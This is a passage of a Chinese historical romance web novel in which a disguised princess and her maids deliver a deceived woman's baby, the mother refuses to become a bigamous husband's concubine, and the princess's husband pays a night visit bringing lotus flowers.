毓心正在检查“滕夫人”的伤势，闻声心中的沉郁散去了两分，漫上一阵舒爽。
她手上的动作都更沉稳了几分。
滕子鹤的脸被李意清打得一偏。
他迟钝地抬头，看清李意清的面容后，忽然发疯一样伸手去够李意清的裙摆，语气哽咽道：“你救救她！救救舒窈……”
一旁的滕大娘子脸上则是浮现了比李意清打她自己时候更狠厉百倍的怨毒，她恶狠狠地盯着李意清，口中喋喋不休的咒骂。
“你这不要脸的小娼妇，贱人，敢打子鹤，我就是做鬼也不会放过你……”
李意清心中第一次产生如此强烈的情绪。
一股从心底蔓延的厌恶。
她后退几步，看见毓心正在小心翼翼轻唤着“滕夫人”，又看了一眼双目无神的滕娘子，觉得这荒诞又可笑。
122. 毋宁死
滕夫人的咒骂声一直没停。
门外僵持的洛石先一步走了进来，后一步跟过来的车夫拍了拍手上的灰尘。
门口，原先趾高气扬的老人被绳带绑住，捂了嘴巴扔在门口。
这是车夫第一次做这种事，他感觉到自己的心跳很快。
李意清只淡淡抬眸扫了他们一眼。
这时，守在“滕夫人”身边的毓心忽然道：“她的身体很不好，胎儿在腹中憋气太久，两人可能都有危险。”
滕子鹤发出一声惨痛的吼叫。
李意清当机立断：“洛石，把无关之人都请走。”
她的音着重加在了“请”字上。
洛石二话不说，利落地走向滕子鹤。
他身量高大，一步步靠近，滕子鹤只觉得眼前为数不多的光线都被剥夺了。
滕子鹤还在做最后的挣扎。
“让我留在这里陪着舒窈吧。求求你……”
洛石双手抱胸，衣服上沾染的血迹已经变成深黑色。他冷冷地看着滕子鹤哭得眼泪鼻涕都出来的一张脸，语气带上了几分不耐烦。
“你自己出去，还是我打晕你出去？”
滕子鹤喃喃没有说话，看样子还想继续挣扎。
一旁的滕大娘子看见洛石冷硬的面容，知道他这句话绝无转圜的余地，伸手轻轻地扯了扯滕子鹤的衣角。
“子鹤，我们先出去吧。”滕大娘子小声地、试探地看向滕子鹤，目光晦暗，“女子生产不吉利，你留在这里还有什么用……你又不是没看见刚才她的态度。”
不知道哪一个字眼触动了滕子鹤，他嘴唇张合，没再挣扎，失魂落魄地在滕大娘子的搀扶下离开了。
另一边，滕娘子沉默地看了一眼躺在墙角的“滕夫人”，转身离开了。
人都离开后，毓心紧接道：“热水，剪刀……姑娘，切两片人参用开水烫过，给‘滕夫人’含住。”
站在的车夫立刻道：“我去烧水。”
洛石沉着脸色，在柜中翻找需要的剪刀。
躺在地上的“滕夫人”微微恢复了一点力气，她看见毓心和李意清的身影，忽然眼前结了一层水雾。
她有好多好多话想要说出来，可是话到了嘴边，化作了眼尾的一滴泪水。
李意清看着她张合的嘴唇，看不出她想表达“救我”还是其他什么。
她转过身，取出今天买回来的人参，顺着经络切下两片。
毓心焦急地看着窗外，见热水迟迟不来，狠了狠心，用手捏开了“滕夫人”的下颌，将参片塞入了她的口中。
“还有力气吗？”毓心用衣袖擦去她脸上的汗珠，声音坚定，“现在，如果有力气，就朝我眨眨眼，十息之后，你听我指挥。”
胎儿在腹中憋了太久，再不生下来，轻则痴傻，重则性命垂危，甚至影响母体。
李意清看见毓心背后已经被汗水打湿。
车夫端着烧好的开水走过来的时候，被洛石拦在了门外。
“里面正在生产，我送进去。”
车夫下意识就将水递给了他，后知后觉才发现反应过来。
他不也是一个汉子吗？怎么不知道避开？
洛石牢牢地端着盆里的水，冷静地走到了李意清的身边。
“姑娘。”
李意清从紧张的情绪中剥离片刻，看了一眼看似镇定，实则局促的洛石，轻声道：“毕竟是女子生产，你一个外男站在这里不合适，出去守在门口。”
洛石脸上的镇定忽然就崩塌了几分。
他的鼻音中发出一声简单的“嗯”，转身离开了房中。
李意清将布帛沾水拧干，递给毓心，毓心头也没回地接过，一直在小声和“滕夫人”说着话。
“快了快了，孩子的头已经出来了。”
“再加把劲。”
滕夫人将自己的嘴唇咬出了血，听到毓心的话，强撑着再一次使劲。
李意清洗布帛的速度赶不上毓心擦拭的速度。
毓心：“换一盆水，孩子要出来了。”
情急之下，她直接对李意清说道。
李意清起身，将浅红色的血水端出去，门外，待命的洛石捧着一盆干净的热水，默默等候。
快速换水之后，李意清回到了毓心的身边。
毓心的神色紧张。
半响，在滕夫人再一次使劲之后，一个皱巴巴的、头骨甚至略微被济变形的婴儿被抱了出来。
滕夫人奄奄一息地看着自己的孩子，眼神迷蒙着。
李意清注意到毓心颤抖的手，主动取来给新生儿准备的小被子。
毓心小心翼翼地擦拭着婴儿的身体，一瞬不瞬地盯着婴儿泛着青紫的小脸，伸手轻柔地拍着他的后背。
婴儿一点动静都没有。
滕夫人控制不住地悲哭出声。
她哽咽的情难自已的时候，原先一点声响都没有孩子忽然哭了一声，声音细小，比幼猫的叫声大不了几分。
但这一声，让在场所有的人都松了一口气。
毓心将婴儿包起来。
李意清放下心，看见“滕夫人”有些失神地望着天花板，先一步走出门去。
洛石耳力很好，听到了婴儿的声音，但是滕子鹤和滕大娘子这个时候也凑了上前，两双眼睛直勾勾地盯着李意清。
滕子鹤：“舒窈怎么样了？”
滕大娘子：“是男孩还是女孩？”
李意清一个人也没有理，而后径直走向车夫，“马车大小够吗？”
车夫愣了一刹，而后才反应过来是在问大小够不够装得下里面的产妇。
“够是够的，就是怕一路上颠簸，会硌着她，”车夫犹豫了一会儿，说完了后半段话，“此事在车行算是晦气事，若是接她，需要加钱。”
李意清：“好，多少都可以。”
滕大娘子阴魂不散地跟在李意清的身后，一个劲儿的追问：“男孩还是女孩？你倒是说句人话啊？！哑巴了？”
她一个人嚷了半天，发现没人理睬，眼珠子在眶里转了一圈，悄声悄步地走了屋子里。
抱着婴儿的毓心浑身像是从水里捞出来一样，还没反应过来，就看见披头散发的滕大娘子像鬼一样冲了进来，一进门就目的明确的直朝着她过来。
更准确地说，是她手上抱着的小孩。
滕大娘子用力地推了毓心一把，夺过襁褓，急忙掀开后，脸上浮现一抹红晕。
“是儿子，是儿子！”
毓心伸手想要将孩子抱回来，只看见滕大娘子迈着欢快的步伐走出门，语气带着骄傲。
“子鹤啊，子鹤，你有儿子了。”
拄着拐杖的滕老爹和滕子鹤都忍不住围了过去。
滕大娘子一脸得胜的笑，她眯起眼，看着李意清走来的步伐，语气比原先振奋了不知道多少倍。
“这是我们老滕家的后，你想做什么？”
李意清指着门，话是对滕子鹤说的：“舒窈姐姐在里面生死不知，你现在就要抢她的孩子吗？”
滕子鹤脸上浮现了那一抹笑快速消沉。
滕大娘子嚷嚷道：“怎么叫抢，这本来就是我们滕家的儿子。”
滕子鹤挣扎了一番，抱着孩子走到李意清的身边，“我陪她回去。”
滕大娘子一双眼睛险些从眼眶里掉出来
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滕子鹤紧紧地抱着孩子，眼神中流露出几分为人父的轻和：“这孩子就叫做……”
“闭嘴。”李意清打断了他的自我煽情，“你和舒窈姐姐的事，我不评价，等送她回去之后，你好生和你家娘子讲清楚这件事。”
滕大娘子小声嘀咕道：“有什么好说的，纳妾就是。”
滕子鹤眼神黯淡：“舒窈刚烈，肯定不会愿意做妾。兰翠操持家中事物多年，照顾二老，我不能休妻……之前舒窈在府城，兰翠在村里，不是也相安无事这么多年过来了吗？互为平妻，不见面还不够吗？”
他越说越快，似乎觉得自己想到了一个绝佳的解决方法。
“对，对，舒窈爱我，现在又有了儿子，肯定舍不得离开我，至于兰翠……”
至于兰翠，他甚至不需要操心，兰翠就是隔壁村里的，两人成婚之前她就有美名在外，家里家外都是一把好手——上能伺候公婆洗手羹汤，下能稻田栽秧除草晒谷。
这样的媳妇，千家求万家求，兰翠的父亲看中了滕家的家底，一头羊和十袋谷子，将女儿嫁了过来。
她在家中向来都是柔弱恭谨的，从不敢反驳家中长辈，面对他的冷漠，也从未说过半句抱怨。
滕子鹤根本不用考虑兰翠。
李意清看着他说着说着，堂而皇之变得一副胜券在握的模样，再配合滕大娘子一脸“不愧是我儿”的骄傲自豪神色，一阵莫名的情绪冲上鼻尖。
她神色冷淡得仿佛能凝结冰块。
这时，“滕夫人”披了一件外套，走了出来。
日头的阳光很足，眯得她有些睁不开眼。
滕子鹤连忙上前，小声地贴近她道：“舒窈，你还好吗？你看，这是我们的孩子。‘参差荇菜，左右芼之’。恰好此时麦浪金黄，芼音同茂，繁荣昌盛，孩子，叫做滕茂好不好？”
他信心满满地说出了这一段话。
“不好。”
滕子鹤有些没反应过来。
“舒窈，你说什么？”
“我说，不好。这是我的孩子，自然应该和我一样，姓江。”
江舒窈，才是她原本的名字。自从和滕子鹤在一起后，她对外自称永远是滕夫人。
可是从来没有想过，滕夫人一词，她都担的名不正言不顺。
“他是我的骨血，是我拼着命生下来的，他的名字我能取，意清能取，毓心能取，洛石能取，唯独你没这个资格。”
江舒窈一字一句说的很慢。
滕大娘子“啊”的一声叫了出来，伸手就要抢襁褓中的婴儿。
她像一个护崽的母鸡一样挡在滕子鹤和婴儿的前面，“这是我滕家的血脉，怎么可以流落在外！你一个妇道人家，独自一个人怎么可能照顾好他？如果我没有我儿子，你什么都不是。”
江舒窈唇色苍白，听到滕大娘子的话，蓦地笑了。
李意清能感觉到她似乎想要反驳什么，可是又咽了回去。
她只是轻轻地抬眼，看着滕子鹤，“你呢？你要拦我吗？子鹤？”
滕子鹤抱着孩子的手在颤抖。
洛石伸手抱过孩子，瞪了滕子鹤一眼，“马车小，容不下你。”
滕子鹤刚欲争辩，便听到江舒窈开口道：“走吧，离开这里。”
滕子鹤伸手按在江舒窈的肩膀上，他有些惊讶地发现，原来她的肩膀这么瘦削。
仿佛一阵风，就能将她吹走。
他心中泛上一抹酸涩，不死心地开口：“舒窈，那我们？”
江舒窈声音很轻，她强撑着力气和滕子鹤说话。
“滕子鹤，你应该知道的，毋宁死，不为妾。”
123. 回家
江舒窈维持着自己的体面，在毓心的搀扶下上了马车。
滕大娘子还准备说话，忽然被滕子鹤怒斥一声。
“够了！你还嫌自己闹的不够吗？！”
滕大娘子被他突入其他的暴怒吓到，她支吾着看着自己的儿子。
洛石只将孩子放在马车，又跳了下来，“姑娘，你坐马车吧，我身体好，走回去不是问题。”
李意清刚想准备让洛石上去，就听到车夫在旁边开口：“小兄弟坐我旁边就是了，何至于这么麻烦，慢慢走，只要在走，总能回去的。”
洛石感受着身体深处传来的疲惫，没有拒绝车夫的好意。
他看了一眼天色，甚至还能开一个玩笑。
“瞧这天色，估计我们回到府城的时候，能看见夕阳。”
李意清看着他，嘴角扬起一抹无奈的笑意。
正如洛石所言，到了梨花弄堂的时候，已经可以看见天边残霞。
残霞瑰红绚丽，归巢的鸟雀盘旋低空。
穿过大街小巷，刚掀开的帘子，趋光而来的细小飞虫直往人的怀中撞。
李意清先一步走下马车，而后是江舒窈。
她身体虚弱，一路颠簸，早就没了力气。
她被洛石抱下来，毓心紧随其后，抱着婴儿走出来。
等人都落定，李意清随手将头上的一根发簪拔下来。
“今日多谢你，交付了车行，剩下的你自用就是。”
车夫瞬间瞪大了眼睛。
李意清递过来的累丝金簪做工细致，虽然没有大开大合的富贵气息，可镶嵌在其上的玉质，一看就是千金难求。
“不不不，这太贵重了。”
“你应得的。今日天色渐晚，你快些回去吧。”
李意清朝他笑了笑，转身离开。
屋子里，已经点上了一盏灯。
不止茴香一个人，还有隔壁的刘阿婆和滕荇。
滕荇年幼，已经倚在刘阿婆的怀中睡着了。
茴香看见李意清，瞬间站起身，“殿下！”
李意清朝她比了一个“嘘”声。
滕荇和襁褓中的小孩子还睡着，动静太大，两人会被惊醒。
茴香捂住嘴，担心地去看刘阿婆的反应。她情急之下，直呼了殿下。
好在，刘阿婆的关注点并不在她的身上。
刘阿婆身上靠着滕荇，不敢有太大的动作，只能探头去看一脸虚弱的江舒窈。
“……”刘阿婆的脸上流露一丝真心实意的心痛，“她受苦了。”
李意清没有接话。
刘阿婆眼眶隐隐湿润，半响后，对李意清道：“荇儿这孩子，今晚跟我住吧，昨天她一个人睡在家里，也没吃上饭，怪可怜的。”
洛石看见李意清沉默地点头，立刻就准备将江舒窈先放在躺椅上，先将滕荇抱走。
“没事，我来。”
李意清声音很轻，动作轻柔地将滕荇抱在了自己的怀里。
滕荇察觉到被人挪了位置，在李意清的怀里转了转，手搭在了李意清的肩膀，嘴里嘟囔着。
“爹，娘，我还想要小兔子，白白的，软软的……”
她说着梦话，然后又安静的睡去。
李意清将滕荇抱得更稳妥一些，然后看向刘阿婆，“阿婆，后罩房还有一间房舍，今晚就在我家歇下吧？”
刘阿婆闻言，点了点头。
她的家中连一张像样的床都没有，滕荇跟着她回去，也只能睡在地上将就。
李意清抱着滕荇，带路去了后院。
她离开后，茴香才看向毓心，声音紧张，“你们今天遇到了什么？殿……姑娘今天怎么那么沉默？”
毓心叹了一口气：“说来话长。”
茴香越发好奇，主动接过襁褓中的婴儿抱在怀里，打量着新生儿的面容。
片刻后，她得出结论：“好丑啊。”
孩子气的话逗得毓心和洛石身上的几分严肃都消散了几分。
“小孩子嘛，都是这样的，长开了就好了。”毓心伸手戳了戳婴儿的脸，而后“啊呀”一声，“他到现在还没吃上一口饭。”
马车上她确认了，江舒窈身体太过虚弱，没有母乳。
茴香闻言，脸上满是紧张。
“那怎么办？煮的米汤能吃吗？”
毓心点点头，孩子需要吃食，江舒窈也需要，还要熬药。
她心中快速做出决断，对茴香道：“先将江舒窈和孩子放在躺椅上，茴香，你去熬一些米汤，小孩食道纤弱，你记得将梗米磨成粉，然后再蒸四碗蛋羹。”
接着转身对洛石道：“你将江舒窈放在榻上后，去城中问问可有羊奶，先买上一些。等今晚熬过去，再慢慢看有什么方子。”
可以说，没有李意清、毓心和洛石，也就没有这孩子的出世。
洛石看着像小猫一样蜷缩在江舒窈身边的孩子，没有犹豫，立刻朝她点头出门。
毓心拿了一张矮凳，守在母子的身边。
她安静地看着江舒窈和婴儿的睡容，忽然眼泪从眼眶吧嗒一声掉落。
站在门口听完毓心决策的李意清走了进来。
毓心慌忙擦去眼角的泪水，想尽可能平静，可是看向李意清的那一瞬间，委屈还是不可避免的流露。
她张了张口，哑着嗓子道：“殿下。”
李意清走到她的身边，伸手环住毓心的肩。
毓心身体僵硬，半响，才微微放松，将头抵在李意清的肩膀上，任眼中的泪水打湿她的衣裳。
“殿下，我好害怕。”
李意清轻轻拍着毓心的背。
“你做的很好。”李意清声音温柔，“今天多亏了你，他们才没有事。”
毓心身体颤抖。
李意清放松身体，任毓心将重量压在她的身上，沉默了片刻，轻声道：“是我不好，让你们过上这样的日子。”
毓心挣扎着起身摇头。
她看着李意清，语气坚定：“才不是，殿下事是最好的，奴婢真的觉得，能被派来伺候殿下，是今生最幸运的事情。”
无论是族兄、还是一路上雨雪风霜。
那是只有陪在李意清的身边才能看见的风景。
李意清看着毓心花猫一样的脸，没忍住笑出了声。
毓心向来是很稳妥的，即便是偶尔的小情绪，也是端庄、一丝不苟的。
就连她也是第一次看见毓心这副模样。
毓心脸上猛然变红，像是煮熟的虾。
“殿下，你笑话我。”
李意清尽力抿平嘴角，伸手擦去毓心眼角的泪水，声音带着笑意，轻柔如晚风。
“好啦，不哭啦，不然明天茴香和洛石他们都能看见你肿起的眼皮
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……你也不想他们看见吧？”
毓心立刻吸着鼻子，停止了哽咽。
李意清看她平静下来，“这儿有我看着，你先去后面洗脸。”
毓心摸了摸自己脸上未干的泪痕，朝她用力地点了点头。
“殿下，我很快回来。”
李意清笑：“不急。”
差不多半炷香功夫，茴香端着一碗稀薄的米汤走了进来。
毓心没说话，她里面什么都不敢加。
茴香蹲下来，用小小的调羹盛出一点，送到了婴儿的嘴边。
婴儿察觉到嘴角的流食，自主的抿了起来。
茴香提着的心这才松下来。
喂了小半碗，婴儿忽然闭着嘴，怎么也不肯继续进食了。
“殿下，他怎么不吃啊？”茴香的语气已经快要急哭了。
李意清也没有经验，好在两个人没有着急很久，毓心就回来了。
毓心重新梳洗，眼角还有些发红，但是比原先已经好了太多。
她看见李意清和茴香紧张兮兮地守在孩子的身边，眼睛弯成一道月牙。
“我来吧。”
茴香立刻将手中剩下的半碗米汤放在毓心的手中，松了一口气道：“毓心，幸好有你。”
李意清和茴香安静地坐在桌边，看着摇曳烛光中的两人。
差不多亥时三刻的时候，洛石才跑了回来。
他的怀中抱着一个土褐色的瓦罐，看到人都在，松了一口气。
“刚挤出来的羊奶，新鲜着呢。”洛石几乎是跑了大半个城，才遇到家中刚好有生了小羊的人家，好说歹说，才换来了这一罐。不过弄来之后，后续就不知道该怎么办了。
洛石看着脆弱的婴儿，有些拿不准主意：“接下来怎么办？他可以直接喝吗？”
毓心：“先去煮开，等凉些，再喂给他……算了，你们都先去休息，留茴香在这里陪我就好了。”
茴香立刻点点头，转头去看李意清：“殿下，你先去休息吧。对了，毓心让我蒸的鸡蛋羹也好了，你和洛石吃过了再休息。”
李意清刚欲开口，就被茴香打断了，“哎呀，我今天一天都没怎么动，下午还睡了一会儿。你们放心吧。等他们两个吃完，毓心也去休息，我看着就可以了。”
她说的认真，李意清点了点头，和洛石一道离开。
茴香像个小动物一样蹲在毓心的身边，笑眯眯地看着毓心专注的动作，“毓心，等下我喂你吃好不好呀，你只要负责张嘴就可以了……刚好还可以看着他们。”
毓心抽空看了她一眼。
茴香露出一个狗狗笑：“我怕你太辛苦了嘛。”
*
另一边，喝过鸡蛋羹的李意清回到寝屋，用热水简单擦拭后，换了一件纱制的宽松裙袍躺在了床上。
今天一天发生了很多事，她此刻精疲力竭，可是却又没有困意。
她闭上眼睛，四周安静得落针可闻，只能听见自己的呼吸声。
静谧之中，一点细碎的响动被放大无数倍。
李意清睁开眼睛，坐了起来，确认声响的来源后，推开房门，穿过长廊，走到前院的树下。
树叶繁茂，夜风的吹拂下，发出沙沙的声响。
难道真的是自己听错了？
李意清拢紧身上的纱裙，抬眸在四周扫视一圈，发现什么也没有。
124. 夜送荷花
或许是真的听错了。
李意清伸手揉了揉自己的太阳穴，衣袖顺着她的动作轻柔地往下垂落。
就当她准备回屋的时候，一道身影忽然从墙边翻了进来，李意清瞬间瞪大眼睛。
元辞章朝她比了一个嘘声的手势。
李意清看见是元辞章后，立刻放下防备，朝着元辞章的身边走去。
越走越快，最后扑在元辞章的怀中。
她将头埋在元辞章的肩颈处，呼吸着他身上传来浅淡清幽的青竹气息，补充着自己的能量。
半响，她从抬起头，看着元辞章低垂的眼眸。
“你现在不是应该在白崖县？怎么回来了？还翻墙？”
元相当年费尽心思找的武先生就是为了教你翻墙的吗？
元辞章抱着她的手紧了紧，声音温柔低哑，“嗯，想你了。”
李意清伸手在他的胳膊上拍了一下。
元辞章低声笑出来。
距离太近，李意清甚至能感受到他胸膛因发笑的起伏。
“笑什么？”
“没什么，”元辞章将她打横抱起，步子稳当地朝寝屋方向走，“要是叩门，肯定会惊醒旁人。”
李意清安静地有他抱着。
回到房中，他单膝跪地，脱下李意清的鞋袜，将她放在床上后，轻柔地在她眉心落下一个吻。
“睡吧。我在这陪着你，等你睡着了，我再离开。”
李意清小声地“嗯”了一声，勾着元辞章手指的手却不愿意松开。
她的声音很轻，呼吸渐渐平稳。
元辞章垂眸，看着她原先紧紧勾着他指节的小指已经松开。
他神色温柔地注视着李意清的睡颜，动作很轻地将她的手放回床上，踏着皎洁的月色翻墙出去。
等一切安静下来，装睡的李意清缓缓睁开眼睛。
身边熟悉的气息仿佛还没有消散，她伸手捂住自己的眼眸，一整天的冷静平和在此刻忽然卸下所有的伪装，只剩下惹人心怜的脆弱。
像一朵盛开在池塘边缘的荷花，清雅纯白而又易折。
原来真的有人会花费一个多时辰，只为了来看自己一面。
李意清脑中迟钝地想，而后涌上无边无际的思念。
她呆呆地看着窗棂下投下月影。
去而复返的元辞章手捧新摘来的荷花，看到的就是这一幕。
李意清：“你怎么还没有离开？”
元辞章将手中的三支荷花和两支荷叶放在李意清的床头。
“来的时候就看见了，但是急着见你，没有摘来。回去的时候，见花开得繁盛，我很想让你一道陪我看。”
李意清的指尖轻触在荷花的叶瓣之上。轻轻一拨，可以看见藏在花蕊中的小小莲蓬。
莲蓬还处在由黄转绿的生长期，莲子尚未成形。
听到元辞章的话，她眼底漫上一抹笑。
“我很喜欢。”李意清将荷叶摆的离自己更近了一些，顿了顿，重新看向元辞章，“不过，你看到的荷塘，应该是有主人的吧？”
元辞章道：“应当……是的，下次再摘，我和塘主人道歉，这样好不好？”
李意清看着他认真望着自己的视线，微微错开，静了一瞬，才低声说：“问我做什么？”
“因为，这大抵不是最后一次。”元辞章笑了笑，在心底对塘主人又道了一声抱歉。
看，这个人果然很坏。
李意清垂下头，漫无边际地想着。
可是又真的很喜欢。
很喜欢。
荷花清新的香气萦绕在寝屋之中，也不知道过了多久，元辞章看向她：“时间不早了，明日卯初要见县尉，还要赶路。”
李意清立刻道：“那快些，现在回去，还能休息一会儿吗？”
元辞章在心中盘算，现在赶回去，最好的结果是还能眯一个时辰。
不对对上李意清关切的视线，他只是微微笑着：“没事，我不累。”
“……骗人。”李意清今天坐马车都累得不行，她放轻了声音，“明晚好好休息，还剩下四天，我等得及。”
“这可不由夫人做主。”元辞章笑意疏朗，凑到李意清的耳边轻声道，“是我忍不住不见你。”
他后退两步，声音比月光还要温柔，“殿下，好梦。”
李意清心跳漏了一拍。
再抬眼，房中早已经没了其他人的身影。
直留下一室的清香。
*
第二天一早，李意清梳洗后，去了后院看江舒窈和婴儿。
小孩在小被中乖巧而安静，嘟着嘴睡觉。
江舒窈呆呆地看向孩子所在的方向，而后抬头看着天，眼神没有焦距。
毓心看见李意清过来，凑到她的身边小声道：“姑娘，她昨晚醒了到现在还没有说话。”
李意清看着她显得有些过分瘦削的背影，轻轻嗯了一声，示意自己知道了。
辰时过去不久，去送乌梅汤的茴香和洛石拎着一只已经处理好的鸡走了进来。
除了老母鸡，还和昨晚一样，捧着一小罐羊奶。
起锅炖上之后，刘阿婆和滕荇也陆续出来，滕荇看到熟悉的身影，立刻迈着腿朝江舒窈跑了过去。
“娘，我好想你啊，娘。”
滕荇抱着江舒窈的小腿摇晃，脸上露出一个纯真可爱的笑容。
“娘，昨天我做梦，梦到爹爹给我买了小兔子……”
她话音未落，忽然被突然触动某一根神经的江舒窈用力地挥开。
滕荇被挥倒在地，大脑一片空白。
茴香“哎呀”一声，连忙上前将滕荇扶起来。
滕荇愣了一瞬，反应过来，眼中立刻蓄满了泪水。
“娘。”
江舒窈却没有看她，除了刚刚挥手的动作，只剩下沉默。
滕荇哭了出来。
茴香不得章法，只好将滕荇抱了出去。
滕荇在茴香的怀中哭得委屈，“我娘，我娘是不是不要我了。”
茴香强撑起一抹笑，安抚她，“不是的，你娘只是不太舒服。乖荇儿，我陪你去看弟弟好不好？他好小好小一团。”
滕荇立刻被转移了注意力，兴奋地拍着手。
“要看，我要看。”
茴香松了一口气，将她抱走了。
刘阿婆站在门边看着江舒窈，浑浊的眼眸蓄满了哀伤。
滕荇终于见到自己心心念念的弟弟，看着他皱巴巴的脸，瘪了瘪嘴。
“不可爱。”
“是啊，不过长着长着就可爱了，”茴香伸手摸了摸她的头顶，“像我们荇儿一样可爱。”
滕荇眯着眼笑了，不过因为还在换牙，笑得很收敛。
襁褓中的婴儿还在睡觉，对外界好奇的打量
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毫无知觉。
滕荇看了一会儿，忽然小声问：“茴香姐姐，有了弟弟，爹娘是不是就不爱我了？”
“怎么会，你们都是宝贝。”茴香立刻说，“你娘只是最近难过，等过一段时间，就会好起来。”
“哦。”滕荇垂下眼，思索了半响。
她重新露出一个笑，伸手去够小婴儿的手。
“弟弟啊，等你长大了，我教你捉蝴蝶，抓蚂蚱，还有编小兔子。你快快长大吧，娘也快点好起来，就是不知道爹什么时候回来。”
滕荇小声碎碎念着，忽然转头看向茴香，“姐姐，你知道我爹爹什么时候回来吗？他知不知道娘不舒服？爹爹最关心娘亲了，要是知道娘受伤了，肯定很心疼。”
茴香昨晚已经听毓心将事情的来龙去脉讲了，此刻听到滕荇的提问，心底十分不是滋味。
滕荇看着茴香抿着嘴角的模样，懂事的没有追问。
另一边，李意清正在给红枣去核，忽然看见江舒窈站起身，从后罩房一步一步挪到了厨房。
她看着李意清，眼神有些空洞，像透过她看向了一旁的墙面。
李意清顺着她的视线看过去，看见了悬挂在墙上的砍刀。
那是洛石用来劈柴用的砍刀。
李意清心头一跳，升起一抹不安。
江舒窈却又垂下了眼眸，安安静静地站着。
仿佛刚刚那一刹那，只是李意清的错觉。
李意清将去核的红枣丢入老母鸡汤中一起熬煮，然后听到了江舒窈虚弱的声音。
“意清妹妹，昨天多亏了你，今日我身子好受许多，我就先带着荇儿他们回家了。”
她像是猜到了李意清或许会劝解，紧跟着道：“那栋宅子，其实是我爹娘留给我的，地契在我哪儿，出不了事。或许日后，我会去别的地方。”
“意清妹妹，多谢你了。”
李意清看着她虚弱而坚定的面容，口中说不出拒绝的话。
“这汤是给你熬的，还有羊奶……你这些日子行动不便，等你好起来之前，我让茴香给你送过去，你看这样行吗？”
江舒窈点了点头。
两人一道并肩出去，江舒窈开口轻唤：“荇儿，我们回去了。”
滕荇眼中满是雀跃，看见江舒窈又重新恢复精神，原先被推开的委屈浮上心头，“娘亲。”
江舒窈语气带着一丝奇怪的疏离，她伸手，似乎想要落在滕荇毛茸茸的头顶。
可是快要触到的那一瞬，又像害怕什么一样，飞快地收回了手。
她不敢看滕荇，也不敢看躺椅上的幼子，只能扶着柱子，浅浅地呼气吐气。
半响后，她身体的颤抖才停止。
她费力地将幼子抱在怀里，垂眸看着他安静的睡容。
及尔偕老，老使我怨。淇则有岸，隰则有泮。
脑海中忽然响起了这一段话，江舒窈泪水从眼角滑落，但很好地被她掩藏了下去。
她笑得温柔，“以后你就叫淇。江淇……淇儿。”
李意清看着她抱着孩子垂眸浅笑的模样，一时失言。
淇者，清澈、纯净、悠长，往往被诗歌用来描述对美好爱情的向往。但随着《氓》问世后，其意南辕北辙，带上了一丝悲伤的意味。
前者用法，在当世已然不多见。
江舒窈以此为名，或许是为了警醒自己：不要回头。
125. 温胆汤
李意清刻意忽视了“淇”悲伤的一面，笑着夸赞：“纯净悠长，他一定会一生顺遂平安。”
江舒窈抱着他轻轻摇着，闻言，笑得很轻，“但愿吧。”
要说的都已经说完，江舒窈不再久留，怀中抱着江淇，身后跟着滕荇，回到了隔壁院子。
她走后，刘阿婆犹豫再三，还是向几人开口，询问昨天发生的事情。
李意清和毓心一眼，如实讲了出来。
昨日发生的事情太过匪夷所思，即便她们已经尽可能平静的叙述，刘阿婆还是被气得喘不过气。
“我早就看出来那滕家的不是什么好人，十年间只带她回去两次，畜生都不如的东西。”
刘阿婆一边说，一边呸了一声。
“这孩子也走运，遇到你们……可是姓滕的那厮不是什么好相与的，那孩子恐怕还要吃苦头。”她的声音渐渐变低。
李意清也知道这件事情总有一天需要解决。
江舒窈被滕子鹤的花言巧语蒙骗了十年，可是这十年间，付出的情感却不是假的。
她至今记得江舒窈初次见她，当谈起自己夫君姓滕名子鹤时的笑颜。
那时候的笑有多美，此刻就有多心碎。
两人的关系还能回到从前吗？
还有家中的兰翠。
刘阿婆愤愤道：“家里的兰翠也是一个苦命人，都是滕家那一家子不当人，活生生把两个黄花闺女害成这副模样，这样的人，将来必定要和那些天杀的人贩子一样，下十八层阿鼻地狱。”
她说的怒气冲冲，脑海中浮现江舒窈数年来的扶持，心中酸涩难当。
这样好的人，怎么就遇到了这种事。
她想起今日江舒窈怔怔看着院墙外飞鸟失神的模样，只觉得亲生女儿被人残害的痛也不过如此。
她怕江舒窈还是忘不了那个姓滕的。
李意清倒了一杯茶水，放在了刘阿婆的面前。
刘阿婆絮絮叨叨了很久，最后带上几分恳求的颤音对李意清道：“老婆子我这把年岁，过了今日还不知道有没有明日，我知道姑娘身份尊贵，不会久留此地，但是老婆子想舔着脸求姑娘一句。”
昨天的那声殿下，看来还是被听了进去。
李意清注视着她的视线，轻声道：“阿婆请说。”
刘阿婆起身作势要跪，被李意清紧紧拉住手。
“阿婆，你说，只要是我力所能及，便不会推辞。”
刘阿婆一滴泪水从眼中滑落。自哭坏了眼睛后，她几乎再也不能落泪。
她泪眼婆娑地看着李意清，一字一句道：“姑娘在舒州的期间，照拂那孩子一二。”
李意清沉默了片刻。
一滴烛花从蜡烛下滚落，从窗隙偷跑进来的飞虫被温暖的烛火吸引，朝着烛火飞去。
“嗞”地一声，划作飞烟。
李意清闭眼，再睁开眼时只剩下一片清明。
“好，我答应你。”
李意清郑重地道：“只要我还在舒州一日，就不会有人会让舒窈姐姐受委屈。”
刘阿婆瞬间泪如雨下。
诚如她自己所言，她只是一个半截身子快要入土的老人，今朝脱了鞋和袜，未省明朝穿不穿。
房子地契生不带来，死不带去，她知道李意清不一定看得上这点屋子，可是在她心中，卖了换成银钱，给江舒窈留一些吃用，剩下都给李意清。
算是她些微的报答。
刘阿婆接过李意清递来的手帕，胡乱擦去脸上的泪水。
“好了，时候不早了，我也先走了。”
她迈着蹒跚的脚步一点一点走远。
毓心和茴香都揪心的不行。
昨日清风居“人满为患”，今日突然一个个离开，忽然就觉得身边空荡了下来。
李意清最先从这样的情绪中脱离出来，而后语气略显轻松道：“好啦，不管怎么样，生活还是要继续的……茴香你闻闻，是不是红枣炖鸡已经好了？”
茴香顶着苦哈哈的一张脸立刻像小狗一样仰头嗅着空气中的味道，甜蜜的枣香混着鸡汤的味道直冲脑门。
“我去看看。”
茴香立刻迈着欢脱的步伐走到炉子边，拿筷子戳了戳鸡肉。
“啊……”茴香长长地叹了一口气，朝着李意清道：“殿下，还没有炖烂。”
李意清看着她蔫头耷脑的模样，忍不住笑出了声。
毓心也在笑，伸手点了点茴香的鼻尖，“那就再炖一会儿就是，急什么，还担心吃不上鸡汤？”
洛石也在旁附和道：“就是啊。这个月估计每天都有炖汤，我都怕你会喝腻。”
茴香反驳：“才不会……我们明天吃骨头汤吧，里面放些干萝卜瓜和葵菜，肯定也很好喝。”
她想起今天买鸡的时候看到的猪腿骨，舔了舔舌尖。
李意清：“真是小馋猫。”
